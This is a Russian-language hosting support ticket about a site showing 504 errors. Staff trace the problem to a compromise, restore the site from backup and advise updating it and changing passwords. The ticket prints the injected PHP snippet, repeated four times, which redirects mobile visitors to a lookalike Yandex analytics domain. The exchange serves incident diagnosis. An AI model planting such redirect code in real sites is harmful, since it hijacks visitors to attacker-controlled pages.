служба поддержки
СЛУЖБА ПОДДЕРЖКИ

  хостинг
<< Назад       Сайт перестал работать

Вопрос: Здравствуйте! Со вчерашнего вечера (7 июля) сайт перестал отвечать, при загрузке появляется ошибка "504 Gateway Time-out". Не могу понять что произошло, помогите разобраться. Спасибо.
Ответ:

Здравствуйте. какие скрипты работают на сайте? какие изменения проводились? использует ли сайт внешние подключения к другим ресурсам?

Ответ:

ы видим у вас множество процессов

 


mva789 573707 0.0 0.0 417308 20008 ? S 21:58 0:00 /usr/bin/php /home/mva789/public_html/index.php
mva789 576445 0.0 0.0 416796 18956 ? S 21:59 0:00 /usr/bin/php /home/mva789/public_html/index.php
mva789 584541 0.0 0.0 316212 17136 ? S 22:02 0:00 /usr/bin/php /home/mva789/public_html/index.php
mva789 590132 0.0 0.0 315932 16544 ? S 22:03 0:00 /usr/bin/php /home/mva789/public_html/index.php
mva789 594831 0.0 0.0 313088 15656 ? S 22:05 0:00 /usr/bin/php /home/mva789/public_html/index.php
mva789 594835 0.0 0.0 313088 15648 ? S 22:05 0:00 /usr/bin/php /home/mva789/public_html/index.php
mva789 595653 0.1 0.0 315416 15992 ? S 22:05 0:00 /usr/bin/php /home/mva789/public_html/index.php

Ответ:

у вас есть модуль кто онлайн, скрипты вк и авторизация с соц.сетей ?

Вопрос: никаких изменений не проводилось. Что это за процессы, ведь на сайте нет ни одного пользователя?
Вопрос: скриптов соц.сетей нет, и кто онлайн тоже
Ответ:

при чем тут пользователи, это сейчас все процессы вашего сайта. какие планины  и модули работают на сатйе? есть плагины соц сетей7

Вопрос: Сайт работает на DLE v9, максимально отключал лишние скрипты, чтобы не нагружать сервер, т.к. до переезда на Ваш хостинг предыдущий сильно урезал возможности, с тех пор ничего не подключал. По-поводу модулей не помню чтобы что-то устанавливал...
Ответ:

войдите в адиминку сайта очистите кеш.

на сайте есть sape? или какие то внешние сервисы.ю попробуйте временно отключить.  скрипт лицензионный7

Вопрос: sape нет в админку сайта зайти не могу по той же причине - ошибка. Или имеется в виду CPanel? Скрипт лицензия.
Ответ:

мы видим что индексный файл менялся 7 июля, вы вносили изменения?

Ответ:

так же мы видим изменения еще в нескольких файлах

Вопрос: последние изменения на сайте производились только на одной странице 6 июля, а индексный файл не изменял. Только что по Вашей подсказке проверил, что действительно есть изменения в дате последней модификации, хотя я этого точно не делал, как это могло произойти не пойму
Ответ:

возмолжно ваш сайт взломан. сейчас мы закачаем файлы из бекапа.

в чем заключались изменения вы определили7

Вопрос: те что я делал - добавил текстовую строку с гиперссылкой и все...
Ответ:

мы сейчас загрузим файлы и дадим вам бекап испорченой версии , вы сравните в чем отличие

Вопрос: Спасибо, большое. Что посоветуете по защите сайта, смены паролей достаточно?
Ответ:

да, ваш сайт взломан, причем давно

вот код даже в бекапах


if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yandexnalytics.com/');
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yandexnalytics.com/');
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yandexnalytics.com/');
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yandexnalytics.com/');

и такой код присутствует во всех ключевых файлах сайта

Вопрос: Еще раз большое спасибо, буду разбираться и устранять
Ответ:

мы почистили сайт но вероятность взлома осталась преждней. обновите сайт и смените все пароли


<< Назад


Реквизиты:


Украина, 61202, Харьков, пр. Людвига Свободы 26/298.
ФО-П Харитинов Олег Сергеевич
р/с 26001052322442
МФО 351533
ИНН 2961615658
ПАТ КБ "ПриватБанк"

Документы:


Свидетельство плательщика единого налога

Свидетельство о регистрации

Служба поддержки:


  + 380 57 7209279
   создать тикет
© 2007 - 2017 Speed Host. All rights reserved